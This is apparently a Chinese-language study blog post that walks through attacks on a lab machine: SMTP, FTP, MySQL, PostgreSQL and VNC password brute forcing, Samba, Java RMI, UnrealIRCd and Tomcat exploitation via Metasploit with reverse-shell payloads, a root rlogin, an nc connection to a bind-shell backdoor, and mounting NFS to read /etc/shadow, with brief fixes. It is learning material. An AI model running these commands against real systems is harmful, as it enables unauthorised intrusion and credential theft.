前言:
继续进行漏洞的学习利用。
接上学到smtp服务。
本文目录
smtp服务漏洞利用
smtp暴力破解
一、smtp版本信息获取
使用metasploit中的smtp-version
模块探测smtp服务的版本信息,目标:129.121.22.119
msfconsole
use auxiliary/scanner/smtp/smtp_version
set rhosts 129.121.22.119
# 期间可以使用命令“show options”来查看需要set的信息
exploit
#查看到相应的信息
这样就能看到smtp的相关版本信息
二、smtp验证方式
参考链接——传送门
三、medusa工具介绍
medusa是一款用来破解不同协议用户名和密码的专用软件,kali自带。
medusa破解smtp
medusa -h 目标IP地址 -u 用户名 -P 字典文件 -M 协议模块
#栗子:
medusa -h 129.121.22.119 -u test -P /root/Desktop/password.txt -M smtp
medusa -d
列出medusa支持破解的模块
其中的操作过程中可以使用wireshark进行抓包,抓取服务smtp,打开eth0
如果破解到smtp服务的密码,就可以登录到smtp相应的服务器。
OK关于smtp的学习告一段落。
rpcbind漏洞利用
一、介绍
通俗来说,rpcbind是NFS中用来进行消息通知的服务。
一般情况下rpcbind运行在111端口。并且NFS配置开启rpcbind_enable="YES"
靶机就不搭了,
nmap 192.168.1.106
查看目标IP是否开启rpcbind服务
二、探测目标rpcbind
使用nmap -sV -p 111 IP地址
可以探测目标的rpcbind版本信息
searchaploit rpcbind
查看有无可利用的脚本
三、nmap脚本探测
在nmap中使用
nmap -p 111 --script=rpcinfo 目标IP
用来探测目标的rpcinfo泄露的信息。
四、metasploit模块探测
使用metasploit下的 auxiliary/scanner/misc/sunrpc_portmapper进行目标探测。
msfconsole
use auxiliary/scanner/misc/sunrpc_portmapper
set rhosts 192.168.1.106
show info
run
就可以查看到一系列信息。
smb-RCE远程命令执行
一、samba介绍
Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成。SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。
一般运行在 139、445端口。
二、探测目标samba
使用nmap -sV -p 139 445 IP地址
探测目标端口服务版本信息。
nmap -sV -p 139 445 192.168.1.106
三、metasploit漏洞利用
在metasploit中集成了利用samba usermap RCE的脚本。
exploit/multi/samba/usermap_script
进行利用
msfconsole
use exploit/multi/samba/usermap_script
#show options
set rhosts 192.168.1.106#设置远程计算机的IP地址
#show options 查看设置是否成功
show payloads#查看可以使用的payload
#选择一个反弹的payload
set payload cmd/unix/reverse
#再次进行show options会发现需要设置本地的IP地址
#使用ifconfig查看当前IP地址
set lhost 192.168.1.105
exploit#进行漏洞利用
#就可以使用终端命令进行漏洞利用
进入之后就可以先查看一下当前用户和相关权限。
四、防御和修复
在Metasploit show info 可以查看漏洞信息
在使用samba版本为3.0.20到3.0.25版本之间的samba会存在这样的漏洞,所以我们的修复方案就是升级samba
还是在上面演示中的那个模块里面,设置好配置后,可以使用show info
查看版本信息等
rlogin最高权限登录
一、rlogin介绍
远程登录(rlogin)是一个Unix命令,他允许授权用户进入网络中的其他Unix机器并且就像用户在现场操作一样。一旦进入主机,用户可以操作主机允许的任何事情。
使用nmap进行扫描,如果探测到exec
和login
两个服务,两个是rlogin的标配通常情况下在512和513端口开放这两个服务。
二、探测目标rlogin
使用nmap -sV -p 512 513 IP地址
探测目标rlogin版本信息。
512用于对远程执行的进程进行验证、513反弹bash shell
三、rlogin最高权限登录
使用以下命令可以进行登录
rlogin -l root IP地址
rlogin -l root 192.168.1.106
输入rlogin -h
查看帮助信息
然后就登录进入相对应的系统,并且身份是root
四、防御修复
1、添加root用户登陆验证密码
2、关闭rlogin服务,改用ssh等服务来管理服务器
后门连接
探测后门
某些情况下,服务器可能存在某些后门。可以使用nmap进行探测。
#探测开启服务
nmap 192.168.40.147
#如发现ingreslock服务开启,则进一步探测
nmap -p 1524 -sV 192.168.40.147
#发现是个绑定shell,service信息为bindshell
#使用nc连接后门获取权限 nc [ip] [port]
nc 192.168.40.147 1524
#然后就可以连接成功使用终端命令行工具
可以看到已经成功了,关于nc的使用,我也写过一篇介绍和简单的使用方法。有兴趣可以看下。
拓展:为什么会产生后门?
1.可能之前这个服务器已经经历过黑客攻击,并且留下了shell,我们就可以使用先前的现成的shell进行连接。
2.网站管理员在进行管理时,可能需要通过反弹shell进行,于是设置一个shell等待连接,期间我们也可以使用shell进行连接。
3.可能是某些软件本身就存在连接shell的后门
NFS获取目标密码文件
NFS介绍
NSF(Network File System)即网络文件系统,是freeBSD支持的文件系统中的一种,它允许网络中的计算机之间通过TCP/IP网络共享资源。在NFS的应用中,本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件,就像访问本地文件。
可以使用nmap查看目标IP地址是否开启了NFS服务。
探测目标nfs
可以使用nmap
nmap --script=nfs-* [ip]
可以查看到相应的信息
探测nfs是否可以导出
使用showmount命令确定“/”共享(文件系统的根)是否正在导出。可能需要安装nfs-common包才能使用showmount
命令
apt-get install nfs-commmon
#安装成功后,执行
showmount -e [ip]
#如果回显文件等信息了,则证明可以导出
查看导出内容
mkdir nfs_root
mount -t nfs [ip]:/~/nfs_root -o nolock#进行挂载,无加密
cat ~/nfs_root/etc/shadow
即可查看系统中所有文件。
反序列化远程命令执行漏洞
Java rmi介绍
Java rmi指的是远程方法调用。它是一种机制,能够让在某个Java虚拟机上的对象调用另一个Java虚拟机中的对象上的方法。
RMI是J2SE的一部分,能够让程序员开发出基于Java的分布式应用。一个RNI对象是一个远程Java对象。可以从另一个Java虚拟机上(甚至跨过网络)调用它的方法。可以像调用本地Java对象一样。
对于任何一个以对象为参数的RMI接口,你都可以发一个自己构建的对象。迫使服务器端将这个对象按任何一个存在于class path中的可序列化类来反序列化。
RMI的传输100%基于序列化。
探测目标rmi
使用nmap -p 1099 -sV [ip]
探测目标的版本信息。
服务是开启的,还能看到版本信息。
rmi远程命令执行利用
利用metasploit进行漏洞利用
先打开metasploit,
使用use exploit/multi/misc/java_rmi_server
然后进行配置参数
这样就基本差不多了,可以进行攻击了。
进行漏洞攻击
显示session已经被创建了,所以直接利用就行了。
可以执行一些命令。
emmm,如果不知道可以执行哪些命令,就输入一个问号?
回车查看。
这些都是可以执行的命令。
proftpd测试
探测目标proftpd
使用nmap -sV -p 2121 192.168.40.147
探测出版本信息是1.3.1
然后可以在searchsploit中寻找该版本的漏洞信息。
可以看出1.3
的版本是有的,但是1.3.1
额版本没有找到信息,我们可以直接暴力破解它的用户名和密码
msf暴力破解密码
使用metasploit下的auxiliary/scanner/ftp/ftp_login
进行目标探测。
设置参数,注意设置暴力破解的字典时,用户名和密码设置的是file类型的。然后运行就可以开始暴力破解。
由于知道靶机的用户名和密码,所以就直接使用正确的用户名和密码来测试。
成功的话,前面的标志就是绿色。
mysql弱口令破解
版本信息的探测已经相对熟练了,还是用nmap进行探测3306端口(一般mysql服务都是在3306端口)
仍然使用metasploit进行暴力破解mysql的用户名和密码。
使用的模块是auxiliary/scanner/mysql/mysql_login
可以看到这里是用户名为root
密码为空成功登录
到这里就可以使用mysql登录了。
主要就是对metasploit的熟练使用。
postgresql数据库密码破解
介绍不再多介绍,百度都有。
直接探测目标postgresql
因为如果使用nmap进行初次大致扫描的话是可以直接扫出来有服务开启的,然后就可以知道是哪个端口上运行该服务,然后直接扫描相应的端口就行了。
这里已经扫出来该项服务运行在5432端口,所以一直姐扫描这个端口就可以知道它的版本信息等。
扫描对应的端口,上面那么多次扫描,已经可以熟练掌握,就不用再放图。
破解postgresql的用户名和密码仍然使用metasploit中的模块来进行破解。
use auxiliary/scanner/postgres/postgres_login
破解出用户名和密码,下面可以利用它来登陆。
登陆postgresql可以使用一个第三方软件pyadmin
来登陆postgresql进行查看信息。
没有下载这个软件,所以就没有操作。(这个软件是可以在windows系统中下载的,可以下载到物理机上面进行操作)
postgresql代码执行利用
利用msf下postgresql的代码执行获得反弹shell
利用的模块是exploit/linux/postgres/postgres_payload
设置IP和端口,不过端口一般不用设置,默认设置好的。
exploit
开始攻击。
输入?
可查看可执行的命令,
会有一个反弹的shell,输入shell
即可利用
但是得到的权限不是root权限,能执行的操作有限。
防御和修复
防御:屏蔽任意IP连接postgresql
修复:升级版本,安全配置。
VNC密码破解
VNC简单介绍
VNC(Virtual Network
Console)是虚拟网络控制条的缩写。它是一款优秀的远程控制工具软件,由著名的AT&T的欧洲研究实验室开发的。可视化控制,类似于远程桌面,默认VNC服务端运行在5900端口。
可以使用nmap测试目标是否开启VNC服务。
探测目标VNC
精致探测就直接探测具体端口,直接使用nmap。
查看版本信息和其他信息。
msf破解VNC密码
依旧是利用metasploit的模块进行破解
use auxiliary/scanner/vnc/vnc_login
然后设置rhost,至于字典文件可以自己设置,也可以不设置。因为默认有一个字典。当然实际操作时,需要自己找字典。现在因为是靶机,就是用自带的字典就可以了。
用户名为空,密码为password
所以就可以进行登录了。
VNC客户端登录
windows下安装vnc viewer
客户端软件连接VNC服务端。
使用方法百度有,需要时再查。
呃呃呃至于防御,密码设置的难一点。再开监控(不会,以后再学)就OK了。
irc后门利用
前面的一些介绍省略。
默认情况下,irc运行在6667端口。
然后还是使用nmap进行探测版本号等信息。利用searchsploit
搜索可以利用的poc。
看到了后门可以利用。
利用msf中使用irc后门连接的模块进行连接对应的shell。
use exploit/unix/irc/unreal_ircd_3281_backdoor
直接设置rhost就可以开始攻击了。
而且可以看出,反弹的shell是root用户权限。可以执行任何操作。
tomcat管理密码破解
这个需要复制一下介绍,以前见过不过没了解,这次看一下。
Tomcat服务器是一个免费的开源代码的web应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合普遍使用,是开发和调试jsp程序的首选。
默认情况下,8180端口是tomcat管理的http端口。
探测目标tomcat
看出是Apache和jsp集成的服务。
还有版本信息等。
可以直接访问,看到这个界面
然后找管理,需要输入用户名和密码才能进行访问。
msf破解tomcat用户和密码
使用auxiliary/scanner/http/tomcat_mgr_login
模块
所以用户名和密码都是tomcat
直接登录查看。
msf利用tomcat管理
利用metasploit中的模块为
exploit/multi/http/tomcat_mgr_deploy
同样需要设置好参数,才能执行。
也可以利用反弹的shell获取用户权限。
不过可以看出这个并不是root用户权限。
总结
终于把这些基本的简单漏洞利用学的差不多了,这些主要是利用metasploit进行利用,也是对metasploit的练习,让更加了解和熟练使用metasploit。
这次学习到很多。